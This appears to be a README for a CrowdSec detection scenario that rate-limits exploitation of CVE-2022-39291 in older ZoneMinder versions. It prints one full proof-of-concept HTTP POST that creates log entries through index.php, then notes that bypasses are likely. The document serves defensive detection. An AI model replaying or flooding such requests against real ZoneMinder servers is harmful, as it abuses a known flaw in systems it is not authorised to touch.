Scenario to detect exploitation attempts of [CVE-2022-39291](https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-cfcx-v52x-jh74).
Basically rate limit adding (POST) log entries using index.php. 

#### This is for ZM versions __BEFORE__ 1.36.27, 1.37.24

```
  POST /zm/index.php HTTP/1.1
  Host: 10.0.10.107
  Content-Length: 256
  Accept: application/json, text/javascript, */*; q=0.01
  X-Requested-With: XMLHttpRequest
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  Origin: http://10.0.10.107
  Referer: http://10.0.10.107/zm/?
  Content-Security-Policy: default-src 'self' data: *; connect-src 'self'; script-src  'self';
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9
  Cookie: zmSkin=classic; zmCSS=base; zmBandwidth=high; ZMSESSID=8o8h3mg4nv7pmmsu4tm13r1v4d
  Connection: close
    
    __csrf_magic=key%3A85866fbcb6a1d7325544a55aa63fb534677f34ca%2C1665102411&view=request&request=log&task=create&level=ERR&message=Trenches%20of%20IT%20PoC&browser%5Bname%5D=Chrome&browser%5Bversion%5D=101.0.4951.41&browser%5Bplatform%5D=Windows&file=line=800
```

:warning: Crowdsec is not a WAF and, as such, bypass to those signatures are likely :warning:





